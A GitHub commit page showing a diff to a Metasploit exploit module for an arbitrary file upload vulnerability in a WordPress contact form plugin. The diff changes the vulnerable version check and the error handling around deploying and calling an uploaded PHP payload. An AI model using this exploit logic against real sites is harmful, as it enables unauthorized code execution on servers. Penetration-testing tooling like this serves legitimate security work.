Skip to content

Commit 418d858

Browse files
committed
Land rapid7#5137 (again), WordPress N-Media Website File Upload
2 parents 7f79acb + 95310db commit 418d858

File tree

1 file changed

+13
-9
lines changed

1 file changed

+13
-9
lines changed

modules/exploits/unix/webapp/wp_nmediawebsite_file_upload.rb

Lines changed: 13 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -39,7 +39,7 @@ def initialize(info = {})
3939
end
4040

4141
def check
42-
check_plugin_version_from_readme('website-contact-form-with-file-upload', '1.4')
42+
check_plugin_version_from_readme('website-contact-form-with-file-upload', '1.5')
4343
end
4444

4545
def exploit
@@ -58,16 +58,20 @@ def exploit
5858
'data' => post_data
5959
})
6060

61-
if res && res.code == 200 && res.body =~ /filename/
62-
begin
63-
new_php_pagename = JSON.parse(res.body)["filename"]
64-
rescue JSON::ParserError
65-
new_php_pagename = ''
61+
if res
62+
if res.code == 200 && res.body =~ /filename/
63+
begin
64+
new_php_pagename = JSON.parse(res.body)["filename"]
65+
rescue JSON::ParserError
66+
new_php_pagename = ''
67+
end
68+
print_good("#{peer} - Our payload is at: #{new_php_pagename}. Calling payload...")
69+
register_files_for_cleanup(new_php_pagename)
70+
else
71+
fail_with("#{peer} - Unable to deploy payload, server returned #{res.code}")
6672
end
67-
print_good("#{peer} - Our payload is at: #{new_php_pagename}. Calling payload...")
68-
register_files_for_cleanup(new_php_pagename)
6973
else
70-
fail_with("#{peer} - Unable to deploy payload, server returned #{res.code}")
74+
fail_with('ERROR')
7175
end
7276

7377
print_status("#{peer} - Calling payload...")

0 commit comments

Comments
 (0)